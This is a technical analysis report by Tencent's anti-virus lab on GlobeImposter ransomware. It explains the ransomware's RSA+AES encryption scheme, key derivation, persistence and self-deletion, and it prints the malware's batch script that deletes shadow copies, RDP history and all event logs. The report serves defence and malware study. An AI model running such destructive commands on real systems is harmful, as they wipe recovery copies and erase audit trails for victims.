产品中心
产品中心
基础安全
T-Sec 主机安全
容器安全服务 TCSS
T-Sec DDos防护
T-Sec Web应用防火墙
T-Sec 云防火墙
T-Sec 安全运营中心
T-Sec iOA零信任安全管理系统
业务安全
T-Sec 天御 验证码
T-Sec 天御 文本内容安全
T-Sec 天御 视频内容安全
T-Sec 全栈式风控引擎
T-Sec 手游安全
T-Sec 小程序安全
T-Sec 应用合规平台
数据安全
T-Sec 堡垒机
T-Sec 数据安全审计
T-Sec 云访问安全代理
T-Sec 凭据管理系统
T-Sec 密钥管理系统
T-Sec 云加密机
T-Sec 数据安全治理中心
安全服务
T-Sec 安全专家服务
等保合规服务
T-Sec 安全托管服务
渗透测试服务
应急响应服务
重要时期安全保障服务
安全攻防对抗服务
了解全部安全产品→解决方案
解决方案
通用解决方案
等保合规安全解决方案
直播安全解决方案
数据安全解决方案
品牌保护解决方案
高防云主机安全解决方案
腾讯安心平台解决方案
行业场景方案
游戏安全场景方案
电商安全场景方案
智慧零售场景方案
智慧出行场景方案
安全专项解决方案
勒索病毒专项解决方案
重大保障安全解决方案
更多
更多
关于我们
腾讯安全介绍
荣誉认证
帮助中心
帮助文档
考试认证
在线课堂
考试入口
证书查询
联系我们
产品方案咨询
寻求市场合作
友情链接
腾讯云

- 登录可以享受
- 精准服务推荐
- 线上快捷下单
- 海量资源流量
- 立即登录

GlobeImposter勒索病毒技术分析报告
2018-03-01 02:18:19
1. 背景
新年伊始,勒索病毒再度在国内传播肆虐,腾讯反病毒实验室近期接到多起客户遭受勒索软件攻击的反馈,通过跟进分析发现黑客使用的勒索病毒全部为GlobeImposter家族的勒索病毒,黑客在突破企业防护边界后释放并运行勒索病毒,最终导致系统破坏,影响正常工作秩序。
经腾讯反病毒实验室分析,此次GlobeImposter勒索家族攻击事件显现出下列特点:
1. GlobeImposter勒索家族习惯以垃圾邮件方式和扫描渗透的方式进行传播,此次勒索病毒的攻击过程极可能为Windows远程桌面服务密码被暴力破解后植入勒索病毒。
2. 从勒索病毒样本层面看,此次的GlobeImposter勒索软件在代码上进行了一些改变。如以往该家族样本在加密之前会结束诸如”sql”,“outlook”,“excel”、”word”等进程,而此次的勒索病毒则没有这些对进程的检测的代码。
3. 该次的勒索病毒使用了RSA+AES加密方式,其中AES密钥的生成方式并不是通过传统的随机函数等生成,而是通过CoCreateGuid函数生成全局唯一标识符,并将该标识符做为AES加密算法的secret key。
在网上公开的针对此家族勒索病毒的分析报告中,对文档加密部分的勒索原理都语焉不详,公开的报告中对文档加密算法等细节总是也是一笔代过。鉴于此,本篇将对该样本的勒索原理进行阐述,重点将从技术角度对文档的加密过程进行分析。
2. 技术分析
2.1 勒索病毒整体加密过程
勒索病毒使用了RSA+AES加密方式,加密过程中涉及两对RSA密钥(分别为黑客公私钥和用户公私钥,分别用hacker_rsa_xxx和user_rsa_xxx表示这两对密钥)和一对AES密钥。黑客RSA密钥用于加密用户RSA密钥,用户RSA密钥用于加密AES密钥,AES密钥用于加密文件内容。
具体的加密过程为:勒索病毒首先解码出一个内置的RSA公钥(hacker_rsa_pub),同时对每个受害用户,使用RSA生成公私钥(user_rsa_pub和user_rsa_pri),其中生成的密钥信息使用内置的RSA公钥(hacker_rsa_Public)进行加密后,做为用户ID。在遍历系统文件,对符合加密要求的文件进行加密。对每个文件,通过CoCreateGuid生成一个唯一标识符,并由该唯一标识符最终生成AES密钥(记为file_aes_key),对文件进行加密。在加密文件的过程中,该唯一标识符会通过RSA公钥 (user_rsa_pub) 加密后保存到文件中。
黑客在收到赎金、用户ID和文件后,通过自己的私钥(hacker_rsa_pri)解密用户ID,可以得到user_rsa_pri,使用user_rsa_pri解密文件,就可以得到文件的file_aes_key,进而可以通过AES算法解密出原始文件。
下面对样本中使用的一些技术手段进行分析。
2.2 加密字符解密算法
软件中的字符及内置的公钥等信息都以加密的方式保存,加密使用的为AES算法,函数00409392为解密算法函数,函数包含5个参数,每个参数的含义如下:
参数1:返回值,解密后的内容
参数2:返回值,解密后的内容的长度
参数3:解密key
参数4:解密key的长度
参数5:文件句柄,如果文件句柄不为空,就将解密后的内容写入到该文件句柄对应的文件中
对aes_crypt函数,使用mbedtls_aes_crypt_ecb进行AES解密操作。
通过IDA的上下文交叉引用,看到共有七处调用了MyAESDecode函数进行解密内容,这七处调用功能解释如下:
2.3 解码排除文件夹与排除后缀名
恶意样本在勒索过程中对包含某些特殊字符的文件夹进行绕过,这些特殊的字符解码算法如下:
1. 使用“CC 0B E4 F0 69 F6 AE 6F FF CC BF D9 2C E7 36 EE 21 79 2B 85 83 39 D6 32 F5 77 26 8C 2C DD 38 4A”作为AES key,利用2.2中的解密算法,解密00401158处硬编码的0x210大小的数据内容,解密后的内容为硬编码的RSA公钥(hacker_rsa_pub)。
2. 对上面解密出来的RSA公钥(hacker_rsa_pub)计算SHA256,计算sha256的代码片段如下:
3. 使用sha256的值做为AES key,再次利用2.2中的解密算法,解密出字符串列表。
解密出的字符串列表:
2.4 用户ID的生成
勒索病毒运行后,会在用户机器上生成名为”60091F9FF415A9DD5FDFF0D880249E69F883A75D0242CE20D6E6A90CC5AEAFDE”的文件,此文件名为内置的公钥的SHA256哈希值。该文件中保存了用户ID信息。
用户ID的生成算法为:勒索病毒首先通过RSA-1024生成用户公私钥(user_rsa_pub和user_rsa_pri),将生成的密钥中的rsa.P与rsa.Q拼接上“.TRUE.HOWBACKFILE”等内容后,使用内置的公钥(hacker_rsa_pub)加密,结果作为用户ID,同时,生成的公钥(user_rsa_pub)会做为后面遍历文件系统时的加密key使用。可见,该用户ID也经过了RSA公钥(hacker_rsa_pub)的加密,在没有私钥(hacker_rsa_pri)的情况下,很难还原出RSA-1024的密钥内容。
2.5 文件加密过程
通过GetLogicalDrives得到盘符信息,对每个盘符开启一个线程进行加密,每个线程函数的参数包含三部分内容:当前盘符路径,加密key(user_rsa_pub),用户ID。
判断文件路径是不是属于排除路径:
函数sub_4094D9会实现对文件的加密,对文件的加密使用的是AES加密算法。下面将详细介绍该函数的过程
AES加密的KEY通过CoCreateGuid生成,CoCreateGuid函数功能为生成全局唯一标识符,勒索病毒使用该全局唯一标识符做为secret_key, secret_key用来生成AES的加密key.。
AES加密时的IV参数由当前文件的大小和文件路径共同生成。IV参数将MD(filesize|| filename )后取前16位。
将IV和secret key使用MBEDTLS_MD_SHA256计算8192次HASH,并将HASH结果做为AES加密的KEY
随后,使用内置的RSA公钥将guid进行加密,并将加密过的guid及用户ID写入到当前文件中。
最后,使用AES算法将文件内容加密。
AES加密算法过程如下:
2.6 自启动
勒索病毒通过在RunOnce注册表下新建名为BrowserUpdateCheck的键值,达到开机自启动的目的。部分代码如下
2.7 自删除
通过调用CMD /c del来实现自删除,部分代码如下
2.8 删除远程桌面连接信息及事件日志
解密bat文件后释放到临时目录下,并加载运行
解密出来的bat文件内容如下
@echo off vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" |
Bat会删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe cl命令删除日志信息
3. 总结
从上面的技术分析可以看出,对文件的加密使用的是AES加密,每个文件对应一个AES密钥,AES密钥由CoCreateGuid函数生成,该密钥经过用户公钥(user_rsa_pub)加密后保存在加密后的文件中。黑客使用CoCreateGuid函数生成key,一方面是考虑CoCreateGuid函数生成内容的唯一性与随机性,生成的全局唯一标识符做为key使用不易被猜解;另一方面可能是出于对反勒索安全软件的对抗。
最后,腾讯反病毒实验室提醒用户提高安全意识,不要随意打开来源不明的文件,或随意点击可疑的链接,对重要的数据文件定期进行非本地备份。对于可疑文件,可以使用电脑管家进行扫描,或者将文件上传哈勃分析系统(https://habo.qq.com/)查看文件是否存在风险。
针对企业用户,尽量关闭不必要的文件共享权限以及445,135,139,3389等不必要的端口。针对文中提到的勒索攻击事件,可以使用御界防APT邮件网关(http://s.tencent.com/product/yjwg/index.html)和御界高级威胁检测系统(http://s.tencent.com/product/gjwxjc/index.html)两个安全产品进行有效的检测与防护。

在线咨询